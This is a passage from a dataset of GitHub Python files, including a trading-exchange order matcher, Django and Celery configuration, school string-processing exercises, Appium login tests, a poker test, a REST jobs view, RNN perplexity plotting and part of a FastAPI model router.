order.is_sell_order:\n seller, buyer = matching_user, order_creator\n # the amount of shares that overlap\n match_amount = min(\n matching_order.remaining_quantity, order.remaining_quantity\n )\n # price of the transfer per share (will be the buy order's price)\n price_per_share = max(matching_order.price_cents, order.price_cents)\n # decrease each order by the amount traded\n matching_order.remaining_quantity -= match_amount\n order.remaining_quantity -= match_amount\n # give the seller the cash, and let them use it\n seller.cash += price_per_share * match_amount\n seller.liquid_cash += price_per_share * match_amount\n # scope down the buyers cash (purchase price already factored into liquid cash)\n buyer.cash -= price_per_share * match_amount\n # move the shares\n update_stock_for_purchase(\n session, buyer, order.stock_identifier, match_amount\n )\n update_stock_for_sale(session, seller, order.stock_identifier, match_amount)\n # just to be safe, commit what we've done so far before continuing\n session.commit()\n\n # fetch another order\n matches.add(matching_order.id)\n matching_order = get_matching_order(session, order, exclude=matches)\n\n\nqueue.create_trading_consumer(handle_order)\n","repo_name":"NiharS/trading_exchange","sub_path":"order_matcher/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22319210069","text":"from django.urls import path\nfrom django.conf.urls import url, include \nfrom rest_framework.routers import DefaultRouter\n\nfrom . import views\n\n\napp_name = 'chat'\n\n\nurlpatterns = [\n path('', views.home, name='home'),\n path('h', views.h, name='h'),\n path('api/v1/create/', views.create_room, name='create_room'),\n path('register/', views.register, name='register'),\n path('logout/', views.logout_request, name='logout'),\n path('api/v1/search/', views.search, name='search'),\n path('chat/<str:pk>', views.chat, name='chat'),\n path('test/', views.test, name='test'),\n path('api/v1/chats', views.get_chat, name='get_chat'),\n #path('chats', views.get_chat, name='get_chat'),\n path('api/v1/chats/<str:pk>', views.get_messages, name='get_messages'),\n]","repo_name":"TomHellCat/Chatter","sub_path":"Django Backend/chat/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2474988785","text":"import os\n\nfrom celery import Celery\nfrom celery.schedules import crontab\n\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'not_clean.settings')\n\n\napp = Celery('not_clean')\napp.config_from_object('django.conf:settings', namespace='CELERY')\napp.autodiscover_tasks()\n\napp.conf.beat_schedule = {\n 'spam_task': {\n 'task': 'blog.tasks.schedule_task',\n 'schedule': crontab(minute='*/1')\n }\n}\n","repo_name":"ArtsemDev/news_very_cool_portal","sub_path":"not_clean/not_clean/celery.py","file_name":"celery.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"7204267021","text":"'''\n1) В текстовом файле k7-3.txt находится цепочка из символов латинского алфавита A, B, C. Найдите\nдлину самой длинной подцепочки, состоящей из символов C.\n'''\n\nfile = open('k7-3.txt')\ndata = file.read()\nfile.close()\ncount = 0\nmax_count = 0\nfor char in data:\n if char == 'C':\n count += 1\n continue\n if max_count < count:\n max_count = count\n count = 0\nprint('1.', max_count)\n\n'-------------------------------------------------------------------------------------------------------------------'\n\n'''\n2) В текстовом файле k7a-2.txt находится цепочка из символов латинского алфавита A, B, C, D, E, F.\nНайдите длину самой длинной подцепочки, состоящей из символов A, C, D (в произвольном порядке).\n'''\n\nfile = open('k7a-2.txt')\ndata = file.read()\nfile.close()\ncount = 0\nmax_count = 0\nfor char in data:\n if char in 'ACD':\n count += 1\n continue\n if max_count < count:\n max_count = count\n count = 0\nprint('2.', max_count)\n\n'-------------------------------------------------------------------------------------------------------------------'\n\n'''\n3) В текстовом файле k7b-2.txt находится цепочка из символов латинского алфавита A, B, C, D, E, F.\nНайдите максимальную длину цепочки вида DBACDBACDBAC.... (состоящей из фрагментов DBAC,\nпоследний фрагмент может быть неполным).\n'''\n\nfile = open('k7b-2.txt')\ndata = file.read()\nfile.close()\ncount = 0\nmax_count = 0\nfor char in data:\n if (char == 'D' and count % 4 == 0) or \\\n (char == 'B' and count % 4 == 1) or \\\n (char == 'A' and count % 4 == 2) or \\\n (char == 'C' and count % 4 == 3):\n count += 1\n continue\n if max_count < count:\n max_count = count\n count = 0\n if char == \"D\":\n count = 1\nprint('3.', max_count)\n\n'-------------------------------------------------------------------------------------------------------------------'\n\n'''\n4) В текстовом файле k7c-2.txt находится цепочка из символов латинского алфавита A, B, C, D, E, F.\nНайдите количество цепочек длины 3, удовлетворяющих следующим условиям:\n 1-й символ – один из A, C, E;\n 2-й символ – один из A, D, F, который не совпадает с первым;\n 3-й символ – один из A, B, F, который не совпадает со вторым.\n'''\n\nfile = open('k7c-2.txt')\ndata = file.read()\nfile.close()\ncount = 0\nfor i in range(len(data) - 2):\n if data[i] in \"ACE\" and \\\n data[i + 1] in \"ADF\" and data[i] != data[i + 1] and \\\n data[i + 2] in \"ABF\" and data[i + 2] != data[i + 1]:\n count += 1\nprint('4.', count)\n\n'-------------------------------------------------------------------------------------------------------------------'\n\n'''\n5) В текстовом файле k8-25.txt находится цепочка из символов, в которую могут входить заглавные\nбуквы латинского алфавита A…Z и десятичные цифры. Найдите длину самой длинной подцепочки,\nсостоящей из одинаковых символов. Если в файле несколько подходящих цепочек одинаковой длины,\nнужно взять первую из них. Выведите сначала символ, из которого строится эта подцепочка, а затем через\nпробел – длину этой подцепочки.\n'''\n\nfile = open('k8-25.txt')\ndata = file.read()\nfile.close()\ncount = 1\nmax_count = 0\nmax_char = data[0]\nlast_char = data[0]\nfor char in data:\n if char == last_char:\n count += 1\n continue\n elif max_count < count:\n max_count = count\n max_char = last_char\n last_char = char\n count = 1\nprint('5.', max_char, max_count)\n\n'-------------------------------------------------------------------------------------------------------------------'\n\n'''\n6) Текстовый файл k8-2.txt состоит не более чем из 10^6\nсимволов. Определите максимальное количество\nидущих подряд символов, среди которых каждые два соседних различны.\n'''\n\nfile = open('k8-2.txt')\ndata = file.read()\nfile.close()\ncount = 0\nmax_count = 0\nfor i in range(1, len(data) - 1):\n if data[i] != data[i + 1]:\n count += 1\n continue\n elif max_count < count:\n max_count = count\n count = 1\nprint('6.', max_count)\n\n'-------------------------------------------------------------------------------------------------------------------'\n\n'''\n159) Текстовый файл 24-157.txt содержит только заглавные буквы латинского алфавита (ABC…Z). Определите символ,\nкоторый чаще всего встречается в файле между двумя одинаковыми символами. Например, в тексте CCBAABABCBC есть\nкомбинации ABA, BAB, BCB и CBC. Чаще всего – 2 раза – между двумя одинаковыми символами стоит B, в ответе для этого\nслучая надо написать B2 (без пробелов и других разделителей). Если таких символов несколько, выведите тот, который\nстоит раньше в алфавите.\n'''\n\nfile = open('24-157.txt')\ndata = file.read()\nfile.close()\nchars = {}\nfor i in range(65, 91):\n chars[chr(i)] = 0\n\nfor i in range(1, len(data) - 1):\n if data[i - 1] == data[i + 1]:\n chars[data[i]] += 1\n\nmax_value = max(list(chars.values()))\n\nmax_char = ''\nfor char in chars:\n if chars[char] == max_value:\n max_char = char\n break\n\nprint(f'159. {max_char}{max_value}')\n\n'''\nОтветы: 1. 1\n 2. 11\n 3. 95\n 4. 891\n 5. V 8\n 6. 166\n 159. W1608\n'''\n","repo_name":"Andrey-Bedretdinov/School","sub_path":"Архив/Homework/Homework 23.11.21/Homework 23.11.21.py","file_name":"Homework 23.11.21.py","file_ext":"py","file_size_in_byte":6571,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21384776873","text":"import time\nimport warnings\n\nfrom library.core.TestCase import TestCase\nfrom library.core.common.simcardtype import CardType\nfrom library.core.utils.applicationcache import current_mobile, current_driver, switch_to_mobile\nfrom library.core.utils.testcasefilter import tags\n\nfrom pages.call.CallPage import CallPage\nfrom pages.login.LoginPage import OneKeyLoginPage\n\nfrom preconditions.BasePreconditions import LoginPreconditions\n\nREQUIRED_MOBILES = {\n 'Android-移动': 'M960BDQN229CH',\n 'IOS-移动': '',\n 'Android-电信': 'single_telecom',\n 'Android-联通': 'single_union',\n 'Android-移动-联通': 'mobile_and_union',\n 'Android-移动-电信': '',\n 'Android-移动-移动': 'double_mobile',\n 'Android-XX-XX': 'others_double',\n}\n\n\nclass Preconditions(LoginPreconditions):\n \"\"\"\n 分解前置条件\n \"\"\"\n\n @staticmethod\n def select_single_cmcc_android_4g_client():\n \"\"\"\n 启动\n 1、4G,安卓客户端\n 2、移动卡\n :return:\n \"\"\"\n client = switch_to_mobile(REQUIRED_MOBILES['测试机'])\n client.connect_mobile()\n\n @staticmethod\n def connect_mobile(category):\n \"\"\"选择手机手机\"\"\"\n client = switch_to_mobile(REQUIRED_MOBILES[category])\n client.connect_mobile()\n return client\n\n @staticmethod\n def select_assisted_mobile2():\n \"\"\"切换到单卡、异网卡Android手机 并启动应用\"\"\"\n switch_to_mobile(REQUIRED_MOBILES['辅助机2'])\n current_mobile().connect_mobile()\n\n # @staticmethod\n # def login_by_one_key_login():\n # \"\"\"\n # 从一键登录页面登录\n # :return:\n # \"\"\"\n # # 等待号码加载完成后,点击一键登录\n # one_key = OneKeyLoginPage()\n # one_key.wait_for_tell_number_load(60)\n # login_number = one_key.get_login_number()\n # one_key.click_one_key_login()\n # one_key.click_sure_login()\n # # 等待消息页\n # gp = GuidePage()\n # try:\n # gp.click_cancel_update()\n # # gp.click_the_checkbox()\n # # gp.click_the_no_start_experience()\n # except:\n # gp.click_text(\"暂不升级\")\n # pass\n # cp = CallPage()\n # cp.click_contact_tip()\n # return login_number\n\n @staticmethod\n def app_start_for_the_first_time():\n \"\"\"首次启动APP(使用重置APP代替)\"\"\"\n current_mobile().reset_app()\n\n @staticmethod\n def terminate_app():\n \"\"\"\n 强制关闭app,退出后台\n :return:\n \"\"\"\n app_id = current_driver().capabilities['appPackage']\n current_mobile().terminate_app(app_id)\n\n @staticmethod\n def background_app(seconds):\n \"\"\"后台运行\"\"\"\n current_mobile().background_app(seconds)\n\n @staticmethod\n def reset_and_relaunch_app():\n \"\"\"首次启动APP(使用重置APP代替)\"\"\"\n app_package = 'com.cmic.college'\n current_driver().activate_app(app_package)\n current_mobile().reset_app()\n\n\nclass LoginTest(TestCase):\n \"\"\"Login 模块\"\"\"\n\n @classmethod\n def setUpClass(cls):\n warnings.simplefilter('ignore', ResourceWarning)\n\n @staticmethod\n def setUp_test_login_0001():\n Preconditions.select_mobile('Android-移动')\n current_mobile().hide_keyboard_if_display()\n Preconditions.app_start_for_the_first_time()\n Preconditions.make_already_in_one_key_login_page()\n\n @tags('ALL', 'CMCC', 'login')\n def test_login_0001(self):\n \"\"\"\n 取消首次登录时登录按钮的置灰显示\t\"1、正常网络\n 2、当前在一键登录页面\n 3、用户首次登录\"\t\"1、查看页面显示\n 2、点击本机号码一键登录按钮\n 3、点击不同意\n 4、同2步骤,点击同意\n 5、点击确定按钮\"\t\"1、文案“登录即代表阅读并同意《软件许可服务协议》和《隐私和信息保护政策》”显示在底部,无勾选框,登录按钮高亮显示\n 2、弹出“用户协议和隐私保护,\n 欢迎使用密友圈,我们非常重视保护您的个人协议并严格遵守相关法律法规。\n 我们会根据国家相关法律法规不定时更新我们的软件许可协议和隐私协议,您可通过《软件许可服务协议》和《隐私和信息保护政策》查看详细条款,请您在使用密友圈前务必仔细阅读。\n 点击下方“同意”按钮,方可开始使用密友圈,与此同时我们将竭力保护您的隐私安全\n ”同意与不同意按钮\n 3、弹窗消失,停留当前页面\n 4、弹出“使用号码XXXX登录,登录后,在密友圈app内的视频通话、语音通话和聊天将使用该号码发起”确定按钮\n 5、成功进入密友圈\"\n :return:\n \"\"\"\n login = OneKeyLoginPage()\n # 检查一键登录\n cards = login.get_cards_c(CardType.CHINA_MOBILE)\n login.wait_for_page_load()\n login.wait_for_tell_number_load(timeout=10)\n login.click_text('一键登录')\n time.sleep(1)\n if login.is_text_present_c('用户协议和隐私保护'):\n login.click_locator_key_c('不同意')\n time.sleep(0.5)\n time.sleep(2)\n self.assertEqual(login.is_text_present_c('使用{}一键登录'.format(cards)), True)\n login.click_text('一键登录')\n time.sleep(1)\n if login.is_text_present_c('用户协议和隐私保护'):\n login.click_locator_key_c('同意')\n call = CallPage()\n call.is_text_present_c('通话', default_timeout=20)\n time.sleep(2)\n call.click_always_allow_c()\n time.sleep(3)\n call.remove_mask_c(2)\n self.assertEqual(call.is_on_this_page(), True)\n\n @staticmethod\n def setUp_test_login_0003():\n Preconditions.select_mobile('Android-移动')\n current_mobile().hide_keyboard_if_display()\n # Preconditions.app_start_for_the_first_time()\n Preconditions.make_already_in_one_key_login_page()\n\n @tags('ALL', 'CMCC', 'me')\n def test_login_0003(self):\n \"\"\" 非首次登陆\t\"1、正常网络\n 2、当前在一键登录页面\n 3、用户非首次登录\"\t\"1、点击一键登陆\n 2、点击确认使用XX号码登录\"\t成功登陆密友,进入通话页面\n \"\"\"\n login = OneKeyLoginPage()\n if login.is_text_present_c('一键登录'):\n login.wait_for_tell_number_load(20)\n login.click_text('一键登录')\n if login.is_text_present_c('用户协议和隐私保护'):\n login.click_locator_key_c('同意')\n call = CallPage()\n call.is_text_present_c('通话', default_timeout=20)\n time.sleep(2)\n call.click_always_allow_c()\n time.sleep(3)\n call.remove_mask_c(2)\n self.assertEqual(login.is_text_present_c(\"通话\"), True)\n","repo_name":"wangquansheng/appium-Demo","sub_path":"TestCase/m001_login/login.py","file_name":"login.py","file_ext":"py","file_size_in_byte":7091,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"79126833","text":"# a = [1,2,3,4,5,6]\n# b = 0\n# for i in a:\n# b += 1\n# if b % 3 == 0:\n# print('remove%d'%i)\n# a.remove(i)\n# print(i)\n#\n# def KK(a):\n# if a %2==0:\n# return True, 0\n# else:\n# return False, 2\n#\n# a = KK(3)\n# print(a)\n# if a[0]:\n# print('dd')\n# b = KK(4)\n# print(b)\n# if b[0]:\n# print('ss')\n\n# from collections import Counter\n#\n# def Most_Common(lst):\n# data = Counter(lst)\n# return data.most_common(1)[0]\n#\n# lst = ['A', 'A', 'A', 'A', 2]\n# print(Most_Common(lst))\n#\n# lst = [13,4,13,14,1]\n# print(sorted(lst))\n# from Game.utils import *\n# players = [Player() for i in range(5)]\n# p2 = players[2]\n# p2.bet(300)\n# print(p2.possess)\n# print(players[2].possess)\n# print(id(p2))\n# print(id(players[2]))\n#\n# p2.current_state = Player_State.ALLIN\n# print(players[2].current_state)\n\n# a = ' d a '\n# print(a.strip(' ').split(' '))\n\n# a = [1,2,3,4,5,6]\n# print(a[3:])\n\nfrom Game.utils import *\npublic_cards = [Card('10', 'hearts'), Card('J', 'spades'), Card('Q', 'clubs'), Card('K', 'clubs'), Card('A', 'spades')]\n\nh1 = [Card('K', 'hearts'), Card('Q', 'diamonds')]\nh2 = [Card('J', 'clubs'), Card('2', 'diamonds')]\nh3 = [Card('4', 'diamonds'), Card('Q', 'spades')]\n\n# 测试比牌\nfrom evaluate_card import *\nhb1 = choose_own_biggest_card(h1+public_cards)\nhb2 = choose_own_biggest_card(h2+public_cards)\nhb3 = choose_own_biggest_card(h3+public_cards)\n\nprint(hb1)\nprint(hb2)\nprint(hb3)\n\n# 测试多人allin下筹码分配\nfrom Game.main import GameManager\npublic_cards = [Card('6', 'hearts'), Card('J', 'spades'), Card('Q', 'clubs'), Card('K', 'clubs'), Card('A', 'spades')]\nh1 = [Card('K', 'hearts'), Card('Q', 'diamonds')]\nh2 = [Card('J', 'clubs'), Card('10', 'diamonds')]\nh3 = [Card('10', 'diamonds'), Card('Q', 'spades')]\n\ngm = GameManager(4)\ngm.alive_player_id = alive_player_id = [0,1,2,3]\ngm.alive_player_num = 4\ngm.init_env(0, 3)\ngm.env.public_cards = public_cards\n\ngm.players[0].possess = 100\ngm.players[0].current_bet = 500\ngm.players[0].current_state = Player_State.FOLD\n\ngm.players[1].card = h1\ngm.players[1].possess = 0\ngm.players[1].current_bet = 3000\ngm.players[1].current_state = Player_State.ALLIN\n\ngm.players[2].card = h2\ngm.players[2].possess = 0\ngm.players[2].current_bet = 2000\ngm.players[2].current_state = Player_State.ALLIN\n\ngm.players[3].card = h3\ngm.players[3].possess = 0\ngm.players[3].current_bet = 2200\ngm.players[3].current_state = Player_State.ALLIN\n\ngm.print_info()\ngm.compare_card()\ngm.print_info()\n\n","repo_name":"sjyjytu/Holdem","sub_path":"Game/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2486,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"3722322953","text":"from rest_framework import status\nfrom rest_framework.decorators import APIView\nfrom rest_framework.response import Response\nfrom .PendingJobsHandler import PendingJobsHandler\nfrom .models import Job\nfrom .serializers import CreateJobSerializer, ListJobSerializer\nfrom rest_framework.authentication import get_authorization_header\n\n\nclass Jobs(APIView):\n jobsHandler = PendingJobsHandler()\n\n def get(self, request, status_value=None):\n if status_value is None:\n job_data = Job.objects.all()\n serialized_data = ListJobSerializer(job_data, many=True)\n return Response(serialized_data.data, status=status.HTTP_200_OK)\n else:\n job_data = Job.objects.filter(status=status_value)\n serialized_data = ListJobSerializer(job_data, many=True)\n return Response(serialized_data.data, status=status.HTTP_200_OK)\n\n def post(self, request, status_value=None):\n if status_value is not None:\n return Response(status=status.HTTP_400_BAD_REQUEST)\n\n header_info = get_authorization_header(request).decode(\"utf-8\")\n\n if header_info == \"allow\":\n new_job = CreateJobSerializer(data=request.data)\n if new_job.is_valid():\n new_job.save()\n\n if self.jobsHandler.isRunning is False:\n self.jobsHandler.process_pending_jobs()\n\n created_object = Job.objects.get(pk=new_job.data[\"id\"])\n serialized_object = ListJobSerializer(created_object)\n return Response(serialized_object.data, status=status.HTTP_201_CREATED)\n return Response(\n {\"error\": \"Unauthorized to access this resource\", \"status\": status.HTTP_401_UNAUTHORIZED},\n status=status.HTTP_401_UNAUTHORIZED\n )\n","repo_name":"felipe0328/csc_rest_api_python","sub_path":"rest_api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33591789568","text":"import sys\nsys.path.insert(0, 'C:/Users/Natalia/Desktop/BA/Py Scripts')\n\nfrom utils import *\nimport matplotlib.pyplot as plt\n\ndef plot_RNN_ppl(base_ppl):\n fig = plt.figure(figsize=(25, 15))\n\n plt.subplot(2,2,1)\n n, ppl_test, ppl_train = read_ppl(\"data/ppl.test.all.size17.diff.hidd.txt\", \"data/ppl.train.all.size17.diff.hidd.txt\", 0, 1)\n plt.plot(n, ppl_train, '-D', markevery=[8], label=\"RNN estimated PPL of train data\")\n plt.plot(n, ppl_test, '-D', label=\"RNN estimated PPL of test data\", markevery=[8])\n plt.plot(n, [base_ppl for x in n], label=\"True PPL\")\n #plt.annotate(\"Min train PPL: \"+str(min(ppl_train))+\"\\nMin test PPL: \"+str(min(ppl_test)),xy=(8,2.129925),xytext=(8, 6.4), rotation=45)\n plt.title(\"Estimating PPL with RNNLM: sentences contain round brackets, \\nmax number of open brackets is 4, text size=2^17\")\n plt.legend()\n plt.xlabel(\"Hidden layer size (powers of 2)\")\n plt.ylabel(\"PPL net\")\n\n plt.subplot(2,2,2)\n n, ppl_test, ppl_train = read_ppl(\"data/ppl.test.all.size17.hidd64.diff.bptt.txt\", \"data/ppl.train.all.size17.hidd64.diff.bptt.txt\", 0, 1)\n plt.plot(n, ppl_train, '-D', markevery=[72], label=\"RNN estimated PPL of train data\")\n plt.plot(n, ppl_test, '-D', label=\"RNN estimated PPL of test data\", markevery=[72])\n plt.plot(n, [base_ppl for x in n], label=\"True PPL\")\n #plt.annotate(\"Min train PPL: \"+str(min(ppl_train))+\"\\nMin test PPL: \"+str(min(ppl_test)),xy=(72,2.129925),xytext=(72, 1.142), rotation=45)\n plt.title(\"Estimating PPL with RNNLM: sentences contain round brackets, \\nmax number of open brackets is 4, text size=2^17, hidden layer size=64\")\n plt.legend()\n plt.xlabel(\"BPTT step\")\n plt.ylabel(\"PPL net\")\n \n plt.subplot(2,2,3)\n n, ppl_test, ppl_train = read_ppl(\"data/ppl.test.all.size17.hidd64.bptt72.diff.cls.txt\", \"data/ppl.train.all.size17.hidd64.bptt72.diff.cls.txt\", 1, 1)\n plt.plot(n, ppl_train, '-D', markevery=[72], label=\"RNN estimated PPL of train data\")\n plt.plot(n, ppl_test, '-D', label=\"RNN estimated PPL of test data\", markevery=[72])\n plt.plot(n, [base_ppl for x in n], label=\"True PPL\")\n #plt.annotate(\"Min train PPL: \"+str(min(ppl_train))+\"\\nMin test PPL: \"+str(min(ppl_test)),xy=(72,1.129925),xytext=(72, 1.1425), rotation=45)\n #plt.annotate(\"Min test PPL: \"+str(min(ppl_test)),xy=(100,1.129591),xytext=(100, 1.142), rotation=45)\n plt.title(\"Estimating PPL with RNNLM: sentences contain round brackets, \\nmax number of open brackets is 4, text size=2^17, hidden layer size=64, bptt=72\")\n plt.legend()\n plt.xlabel(\"Number of classes\")\n plt.ylabel(\"PPL net\")\n\n fig.savefig('RNN_round_max_open_4_ppl.png', bbox_inches='tight')\n\n\ndef read_prob(file):\n '''\n Read probabilities of separate brackets based on RNN model.\n '''\n round_open = []\n round_closed = []\n end_of_sent = []\n with open(file, 'r') as f:\n for line in f:\n l = line.split()\n bracket = l[2].strip()\n if bracket==\"(\":\n round_open.append(float(l[1].strip()))\n elif bracket==\")\":\n round_closed.append(float(l[1].strip()))\n else:\n end_of_sent.append(float(l[1].strip()))\n return round_open, round_closed, end_of_sent\n\ndef plot_probs(ro, rc, eos):\n fig = plt.figure(figsize=(20, 8))\n plt.subplot(1,3,1)\n plt.hist(ro, bins=100)\n plt.title(\"Probabilities of round open brackets (\")\n plt.xlabel(\"Value\")\n plt.ylabel(\"Frequency\")\n\n plt.subplot(1,3,2)\n plt.hist(rc, bins=100)\n plt.title(\"Probabilities of round closed brackets )\")\n plt.xlabel(\"Value\")\n plt.ylabel(\"Frequency\")\n\n plt.subplot(1,3,3)\n plt.hist(eos, bins=100)\n plt.title(\"Probabilities of <\\s> sign\")\n plt.xlabel(\"Value\")\n plt.ylabel(\"Frequency\")\n\n fig.savefig('RNN_round_max_open_4_probs.png', bbox_inches='tight')\n #plt.show()\n\ndef main():\n print(\"Creating sentence dictionary with sentences consisting of round brackets.\")\n print(\"Maximal number of open brackets is 4, probability of an open bracket is 0.5.\")\n sent_dict = create_sent_dict(brackets, 1, [0.5,0.5], 4)\n print()\n print(\"Training data: 131,072 sentences, perplexity estimated from text: 1.4770440991905749\")\n print(\"Test data: 10,000 sentences, perplexity estimated from text: 1.4781559451539232\")\n baseline = calc_baseline_ppl(4, 0.5)\n print(\"Baseline perplexity:\", baseline)\n plot_RNN_ppl(baseline)\n print()\n print(\"Best RNN model: text size = 131,072, hidden layer size = 64, bptt = 72, number of classes = 73.\")\n print(\"Best perplexity result on test data: 1.479702.\")\n ro, rc, eos = read_prob(\"data/test.ppl.result.10000.round.4.debug.txt\")\n plot_probs(ro, rc, eos)\n \n \nif __name__ == '__main__':\n main()\n","repo_name":"NataliaSkachkova/rules_with_NN","sub_path":"Py Scripts/Max_4_open_round_brackets/max_sent_len_4_round_brackets_RNN.py","file_name":"max_sent_len_4_round_brackets_RNN.py","file_ext":"py","file_size_in_byte":4793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37341496242","text":"import json\nimport os\nfrom services.user_photo_service import UserPhotoService\nimport requests\nimport aiohttp\nimport libs.format as Format\nimport libs.utilities as utilities\nimport middleware.auth as AuthMiddleware\nimport schemas.api_call as ApiCallSchema\nimport schemas.hashtag as HashtagSchema\nimport schemas.ml_model as ml_model_schema\nimport schemas.user as UserSchema\nfrom dotenv import load_dotenv\nfrom fastapi import APIRouter, Depends, Response, Request\nfrom fastapi.datastructures import UploadFile\nfrom fastapi.param_functions import File\nfrom models.prediction_request import PredictionRequest\nfrom models.result import Result\nfrom services.api_call_service import ApiCallService\nfrom services.hashtag_service import HashtagService\nfrom services.image_upload_service import ImageUploadService\nfrom services.model_cover_upload_service import ModelCoverUploadService\nfrom services.mlflow_service import MLflowService\nfrom services.model_like_service import ModelLikeService\nfrom services.user_service import UserService\nfrom services.model_comment_service import ModelCommentService\nimport util.validation as Validation\n\nload_dotenv()\nPREDICTION_SERVER = os.getenv('PREDICTION_SERVER')\nPREDICTION_SERVER_PORT = os.getenv('PREDICTION_SERVER_PORT')\n\naiohttp_session = aiohttp.ClientSession()\n\nrouter = APIRouter()\n\n\n# Get models\n@router.get('/models', status_code=200)\nasync def get_models(request: Request,\n response: Response,\n search_query: str = '',\n order: str = 'recent',\n page_number: int = 1, results_per_page: int = 10):\n accepted_orders = ['recent', 'popular', 'recently_used']\n results = []\n\n query_results_data = []\n\n # Check if order param exists and if it's accepted\n if order != '' and order not in accepted_orders:\n result = Result(\n Result.FAIL,\n 'Order parameter is not valid',\n Result.BAD_REQUEST\n )\n\n response.status_code = result.get_status_code()\n return result.to_dict()\n\n # Get models by order param\n if order == 'recent':\n # Get most recent models\n query_results = MLflowService.search_models(model_name=search_query,\n page_number=page_number,\n results_per_page=results_per_page)\n query_results_data = query_results.data\n\n elif order == 'popular':\n # Get most popular models\n query_results = ApiCallService.get_most_popular_models(search_query=search_query,\n page_number=page_number,\n results_per_page=results_per_page)\n\n query_results_data = query_results.data['models']\n\n elif order == 'recently_used':\n user_id = None\n # Check if authorization header exists\n if 'Authorization' in request.headers:\n # Get current user\n current_user = await AuthMiddleware.get_current_user(\n str(request.headers['Authorization']).replace('Bearer ', ''))\n user_id = current_user.data.id\n\n # Get recently used models\n query_results = ApiCallService.get_recently_used_models(user_id=user_id,\n search_query=search_query,\n page_number=page_number,\n results_per_page=results_per_page)\n query_results_data = query_results.data[\"models\"]\n\n else:\n query_results = Result(\n Result.FAIL,\n 'Order parameter is not valid',\n Result.NOT_ACCEPTABLE\n )\n\n # Return error\n if query_results.is_fail():\n response.status_code = query_results.get_status_code()\n return query_results.to_dict()\n\n for registered_model in query_results_data:\n\n # Validation is necessary because model_version from recently used is already formatted\n if order != 'recently_used':\n # Get user\n user = UserService.get_user_by_username(registered_model.tags['user_id'])\n if user.is_success():\n user = ml_model_schema.User(name=user.data.name, username=user.data.username)\n\n try:\n user.photo = UserPhotoService.get_user_photo(user.username)\n except:\n user.photo = None\n\n # Get hashtags\n hashtags_result = HashtagService.get_model_hashtags(model_name=registered_model.name)\n hashtags = hashtags_result.data if hashtags_result.is_success() else []\n print(\"[DEBUG] hashtags_result.is_success():\", hashtags_result.is_success())\n\n # Get API calls\n api_calls_result = ApiCallService.get_model_count(model_name=registered_model.name)\n api_calls = api_calls_result.data['count'] if api_calls_result.is_success() else 0\n print(\"[DEBUG] api_calls_result.is_success():\", api_calls_result.is_success())\n\n # Get likes\n user_id = None\n\n # Check if authorization header exists\n if 'Authorization' in request.headers:\n # Get current user\n current_user = await AuthMiddleware.get_current_user(\n str(request.headers['Authorization']).replace('Bearer ', ''))\n user_id = current_user.data.id\n\n likes_dict = {\n 'count': 0,\n 'has_liked_model': False\n }\n\n likes_dict['count'] = ModelLikeService.get_model_likes(model_name=registered_model.name,\n count_only=True).data\n likes_dict['has_liked_model'] = False\n\n # Check if user liked model\n if user_id:\n user_like = ModelLikeService.get_like(model_name=registered_model.name, user_id=user_id)\n\n if user_like.is_success() and user_like.data is not None:\n likes_dict['has_liked_model'] = True\n\n likes = ml_model_schema.Likes(**likes_dict)\n\n # Get comment count\n comment_count = ModelCommentService.get_model_comments(model_name=registered_model.name, count_only=True)\n comment_count = comment_count.data if comment_count.is_success() else 0\n\n # Get latest model version\n version = 0 if len(registered_model.latest_versions) == 0 else int(registered_model.latest_versions[0].version)\n\n # Get model's cover photo\n cover_photo = None\n try:\n cover_photo = ModelCoverUploadService.get_model_cover_photo(registered_model.name)\n except:\n cover_photo = None\n\n registered_model_dict = ml_model_schema.MlModelListing(name=registered_model.name,\n version=version,\n likes=likes,\n comment_count=comment_count,\n hashtags=hashtags,\n tags=registered_model.tags,\n api_calls=api_calls,\n creation_time=registered_model.creation_timestamp,\n last_update_time=registered_model.last_updated_timestamp,\n user=user,\n description=registered_model.description,\n cover_photo=cover_photo).dict()\n results.append(registered_model_dict)\n\n # Sorting here is necessary since it won't work when doing it with SQL, because SQL query is guaranteeing\n # that only the latest version of each model is being returned, by sorting by model name and version\n if order == 'recent':\n results = sorted(results, key=lambda x: x['creation_time'], reverse=True)\n\n return Result(\n Result.SUCCESS,\n 'Collected models successfully',\n results\n ).to_dict()\n\n\n# Get model\n@router.get('/models/{model_name}')\ndef get_model(model_name: str, response: Response, type: str = 'full'):\n # Get model version\n\n result = MLflowService.get_model(model_name)\n\n if result.is_success():\n # Format model version\n # if model_version == 0 => no deployment\n model_version = 0 if len(result.data.latest_versions) == 0 else int(result.data.latest_versions[0].version)\n\n username = result.data.tags[\"user_id\"]\n\n # Get user\n user = UserService.get_user_by_username(username)\n\n if user.is_success():\n user = ml_model_schema.User(name=user.data.name, username=user.data.username)\n\n # Get hashtags\n hashtags_result = HashtagService.get_model_hashtags(model_name=model_name)\n hashtags = hashtags_result.data if hashtags_result.is_success() else []\n print(\"[DEBUG] hashtags_result.is_success():\", hashtags_result.is_success())\n\n # Get github repo\n github_repo = result.data.tags.get(\"github_repo\")\n github_repo_files_url = Validation.get_github_raw_files_url(url = github_repo) if github_repo else None\n github_repo_readme_url = Validation.get_github_readme_url(url = github_repo) if github_repo else None\n\n # Get api calls\n api_calls_result = ApiCallService.get_model_count(model_name=model_name)\n api_calls = api_calls_result.data['count'] if api_calls_result.is_success() else 0\n print(f\"[DEBUG] api_calls_result.is_success():\", 